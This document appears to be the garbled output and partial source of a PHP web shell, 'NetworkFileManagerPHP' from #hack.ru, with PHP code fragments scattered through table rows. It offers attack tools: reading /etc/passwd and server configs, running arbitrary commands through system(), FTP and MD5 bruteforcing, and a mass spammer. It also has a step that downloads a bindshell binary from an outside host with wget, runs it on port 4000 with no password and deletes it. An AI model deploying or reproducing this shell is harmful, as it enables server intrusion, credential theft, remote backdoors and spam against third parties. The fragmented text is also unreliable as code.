| Help for NetworkFileManagerPHP 1.7 |
| NetworkFileManagerPHP (© #hack.ru) Version: $ver | |||||
| Script for l33t admin job | |||||
| Script help: | .:Home | .:#hack.ru | .:Feedback | .:About | .:Update |
| Net tools: | .:Port scanner | .:FTP bruteforce | .:Folder compression | .:Mysql Dump | .:bindshell (/bin/sh) |
| Exploits access: | .:bindshell | .:Exploits | |||
| l33t tools: | .:Crypter | .:Decrypter | .:Full access FTP | .:Spamer (!new!) | .:Remote upload |
| $sob ID:$id | |||||
| .:etc/passwd | .:cpanel log | .:httpd.conf[1] | .:httpd.conf[2] | .:Bonus | |
| Traffic tools: | .:Get the script | ||||
| Current directory: "); for ($i = 0;$i<=$j;$i++) print("$gsub[$i]"); $free = tinhbyte(diskfreespace("./")); print(" |
| Current disk free space : $free |
| ".exec("uname -a")." |
| ".exec("cat /proc/cpuinfo | grep GHz")." Real speed of ".exec("cat /proc/cpuinfo | grep MHz")." |
| Perhaps release is : ".exec("cat /etc/redhat-release")." |
| ".exec("id")." ".exec("who")." |
| Your IP: $REMOTE_ADDR $HTTP_X_FORWARDED_FOR |
| Access denied. |
| Name | Size | Date of creation | Type | Access rights | Comments |
| Path to filename:$fullpath |
| Thank you!!!File $file was successfully sent to $demail. |
| Path: "); for ($i = 0;$i<=$j;$i++) print("$gsub[$i]"); print(" |
| Directory $fullpath ".exec("tar -zc $fullpath -f $pass.tar.gz")."was compressed to file $pass.tar.gz |
| File upload |
There are many cases, when host, where NFM is situated WGET is blocked. And you may need to upload files anyway. So here you can do it without wget, upload file to path where the NFM is, or to any path you enter (seePath).(this works not everywhere) |
| Questions and wishes for NetworkFileManagerPHP |
During your work with script NetworkFileManagerPHP you may want to ask some quetions, or advice author to add some functions, which are not supported yet. Write them here, and your request will be sattisfied. |
| Real uniq spamer |
Now, using this release of NFM you don't need to by spambases, because it will generate spambases by itself, with 50-60% valids. |
| ?????????? ????? $chislo email. |
| "; echo " |
| Send spam with current settings |
| opening file \"".$address."\" ... |
| File \"".$address."\" was found... |
| File \"".$address."\" was opened for read... |
| Unable to open \"".$address."\" for read... |
| Begining read from file \"".$address."\" ... |
| Sending mail to \"".$recipient."\"...sent "; if(@mail($recipient, stripslashes($subject), stripslashes($header))) { $counter = $counter + 1; echo "[\"".$counter."\"] ".date("H:i:s")." |
| Sending test message to \"".$otvet."\" to check out"; $subject = "".$subject; if(@mail($otvet, stripslashes($subject), stripslashes($message), stripslashes($header))) { $counter = $counter + 1; echo " message was sent... [\"".$counter."\"] ".date("H:i:s")." |
| File \"".$address."\" was closed successfully! |
| Unable to close \"".$address."\" file! |
| $status2 |
| help for scriptNetworkFileManagerPHP |
NetworkFileManagerPHP - script to access your host in a best way There were added some commands to NFM, from scripts kind of itself. They are: - Using aliases (Rush) - FTP bruteforce (TerraByte) - Translated to english by (revers) - Added some sysinfo commands by (revers) - All the rest code belongs to me (xoce) - Thanks for testing goes to all #hack.ru channel Warning, we wanted to show by this script, that admins have to protect their system better, then they do now. Jokes with apache config are not good... Pay more attention to configuration of your system. How can you find us: Irc server: irc.megik.net:6667 /join #hack.ru See you round at network!!! |
| FTP server: $ftp_server | |
| Connected with login:password - ".$g[1].":".$g[1]." |
| ".$g[1].":".$g[1]." - failed |
| Data compression |
According to the different settings of servers, I didn't make default config of NFM. You're to write full path to the domain's folder and then press enter, so all data, containing in this folder will be compressed to tar.gz. |
| Binding shell |
Current shell binds 4000 port, you may access to it by telneting to host:4000 port without password. |
| Bindshell binary is situated in file calleds |
| ".exec("wget http://hackru.info/adm/exploits/bash/s")." Downloading... |
| ".exec("chmod 777 s")." now chmod to 777 |
| ".exec("./s")." now running to 4000 port |
| ".exec("rm -f s")." Removing files now... |
| Data crypter |
Now there are many different programs and scripts, which uses a lot of passwords crypt methods (Do you remember what a phpBB is?=)), so with NFM you can crypt some strings to hashes, because sometimes you may need to change somebodyes data with your one =). Also you may change your pass to NFM here. |
| Data decrypter |
It's known all over the world, that MD5 crypt algorithm has no way to decrypt it, because it uses hashes. The one and only one way to try read what the hash is - to generate some hashes and then to compare them with source hash needed to be decrypted ... So this is bruteforce. |
| Brutefrcing result: | |
| crypted Hash: | $word |
| Bruteforce start: | $dat - $date |
| Bruteforce finish: | $dat2 - $date2 |
| result was wrote to file: ".$word."_md5 | |
| FTP bruteforce |
This is new ftp-bruteforcer it can make his own brute passwords list on the fly he needs nothing to do it, so It's not a problem for you to bryte any ftp account now. But do not write very big value of passwords (10000 will be quite enough) because it mat couse a very heavy server overload . |
| FTP is incorrect!!! At $host 21 port is closed! check your settings |
| Scan results: $id |
| Scanning host to find any reachable and open ports" . "... |
| Port:$porta / $serv | $port_addres | (What's the service is?) |
| Current host seems don't have any open port...hmm, but you're connected to it to 80...check out firewall |
"; $footer=" | ||
| File | Size | |||
| ".$val." | "; $fz_tmp=filesize($val); if ($fcut && ($fz_tmp > $fz_max)) { echo " | ".$fz_tmp." Octets | ".$fz_tmp." bites | "; } echo " |
|
|
||
| Access to directory is denied, see CHMOD. |
"; echo system($cm); echo " |
| Unable to upload files to current directory |
| Unable to create directory here |